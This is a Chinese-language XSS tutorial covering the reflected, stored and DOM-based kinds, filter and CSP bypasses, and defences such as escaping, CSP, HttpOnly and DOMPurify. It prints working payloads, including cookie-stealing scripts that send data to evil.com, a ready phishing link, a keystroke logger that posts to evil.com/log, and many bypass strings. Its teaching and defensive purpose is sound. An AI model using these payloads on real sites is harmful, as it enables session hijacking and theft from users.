Web安全三大漏洞之一:理解XSS的原理、利用与防御
跨站脚本(Cross-Site Scripting, XSS)是最常见的Web安全漏洞,攻击者将恶意JavaScript注入网页,在其他用户浏览器中执行。XSS可以窃取Cookie、劫持会话、篡改页面、传播蠕虫。
恶意脚本通过URL参数传递,服务器将其"反射"回页面。需要诱导用户点击恶意链接。
# 反射型XSS示例
# 漏洞代码 (PHP):
echo "<h1>搜索结果: " . $_GET['q'] . "</h1>";
# 攻击Payload:
# https://target.com/search?q=<script>alert('XSS')</script>
# 基础测试Payload
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
# URL编码绕过
# 原始: <script>alert(1)</script>
# 编码: %3Cscript%3Ealert(1)%3C/script%3E
# 事件处理器绕过(过滤了script标签)
<img src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details ontoggle=alert(1) open>
<marquee onstart=alert(1)>
# JavaScript伪协议
<a href="javascript:alert(1)">Click Me</a>
<iframe src="javascript:alert(1)">
# 窃取Cookie(最经典的XSS利用)
<script>
new Image().src = "https://evil.com/steal?c=" + document.cookie;
</script>
# 更完整的Payload
<script>
fetch("https://evil.com/steal", {
method: "POST",
body: JSON.stringify({
cookie: document.cookie,
url: location.href,
userAgent: navigator.userAgent
})
});
</script>
# 构造钓鱼链接
https://target.com/search?q=<script>new Image().src="https://evil.com/steal?c="+document.cookie</script>
# URL编码后发送给受害者
恶意脚本被永久存储在服务器(数据库、文件),所有访问该页面的用户都会执行。危害最大!
# 存储型XSS场景
# 1. 留言板/评论区
# 2. 用户个人资料
# 3. 文件名/上传文件
# 4. 管理员日志
# 留言板注入
# 攻击者在留言中写入:
<script>fetch("https://evil.com/steal?c="+document.cookie)</script>
# 所有查看留言的用户Cookie都会被发送到攻击者服务器
# 隐蔽的存储型XSS
# 伪装成正常内容的恶意脚本
<div style="background:url('javascript:alert(1)')">Hello</div>
# 利用CSS的存储型XSS
<style>
body { background: url('javascript:alert(1)'); }
</style>
# 键盘记录器(存储型XSS高级利用)
<script>
var keys = '';
document.onkeypress = function(e) {
keys += e.key;
if (keys.length > 20) {
fetch("https://evil.com/log", {method:"POST", body:keys});
keys = '';
}
};
</script>
漏洞在客户端JavaScript中,不经过服务器,纯浏览器端触发。
# DOM型XSS示例
# 漏洞代码:
document.getElementById("output").innerHTML = location.hash.slice(1);
# 利用:
https://target.com/page#<img src=x onerror=alert(1)>
# 常见DOM型XSS源和汇
# 源(Source): location.href, location.hash,
# location.search, document.referrer,
# document.cookie, window.name
#
# 汇(Sink): innerHTML, outerHTML,
# document.write, eval, setTimeout,
# setInterval, Function构造器
# 检测DOM型XSS
# 浏览器开发者工具 → Sources → 搜索上述源和汇
# 使用DOMPurify测试(安全的库)
# 安装: npm install dompurify
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty); // 安全的HTML
element.innerHTML = clean;
# 大小写混合绕过
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=X ONERROR=alert(1)>
# 空字节绕过
<scr%00ipt>alert(1)</script>
# 双重编码绕过
%253Cscript%253Ealert(1)%253C/script%253E
# 闭合标签绕过
"><script>alert(1)</script>
'><script>alert(1)</script>
# 绕过word过滤
<scrscriptipt>alert(1)</scrscriptipt>
# 如果过滤删除"script" → <script>alert(1)</script>
# SVG/MathML绕过
<svg><script>alert(1)</script></svg>
<math><mtext><table><mglyph><style><!--</style>
<img src=x onerror=alert(1)>--></mglyph></table></mtext></math>
# Template Literal绕过
<script>alert`1`</script>
# 编码绕过
# HTML实体: <script>alert(1)</script>
# Unicode: \u003cscript\u003ealert(1)\u003c/script\u003e
# Hex: \x3cscript\x3ealert(1)\x3c/script\x3e
# CSP绕过(如果CSP配置不当)
# 利用JSONP端点
<script src="https://allowed-site.com/jsonp?callback=alert"></script>
# 利用base标签
<base href="https://evil.com/">
# 利用dangling markup
<a href="https://evil.com/steal?data=">Click</a><!--
# HTML上下文编码
# < → < > → > " → " ' → ' & → &
# Python示例
import html
safe = html.escape(user_input) # 自动编码HTML特殊字符
# JavaScript示例
function escapeHTML(str) {
return str.replace(/[<>"'&]/g, function(c) {
return {'<':'<','>':'>','"':'"',"'":''','&':'&'}[c];
});
}
# 不同上下文需要不同编码
# HTML内容: html.escape()
# HTML属性: html.escape() + 引号包裹
# JavaScript: JSON.stringify()
# URL: encodeURIComponent()
# CSS: 只允许白名单值
# CSP HTTP响应头
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;
# 严格CSP(推荐)
Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self'; font-src 'self';
# 使用nonce(允许特定内联脚本)
Content-Security-Policy: script-src 'self' 'nonce-random123'
# HTML中: <script nonce="random123">...</script>
# 使用hash(允许特定脚本内容)
Content-Security-Policy: script-src 'self' 'sha256-base64hash'
# report-only模式(不阻止,只报告)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
# Nginx配置CSP
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self';" always;
# 设置HttpOnly防止JavaScript读取Cookie
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# 效果: document.cookie 无法读取设置了HttpOnly的Cookie
# 但XSS仍然可以发起请求(无需读取Cookie值)
# 自动化XSS扫描工具
# XSStrike
git clone https://github.com/s0md3v/XSStrike
python3 XSStrike.py -u "https://target.com/search?q=test"
# Dalfox
go install github.com/hahwul/dalfox/v2@latest
dalfox url "https://target.com/search?q=test"
# XSSer
xsser --url "https://target.com/search?q=test" --auto
# Burp Suite Scanner (商业)
# 使用Scanner模块自动检测XSS
# 手动测试检查清单
# 1. 每个输入点测试所有类型Payload
# 2. 检查输入是否被编码
# 3. 检查是否可以闭合上下文标签
# 4. 测试不同的编码方式
# 5. 验证CSP头是否设置
unsafe-inline和unsafe-eval为什么危险?如何在不禁用它们的情况下迁移?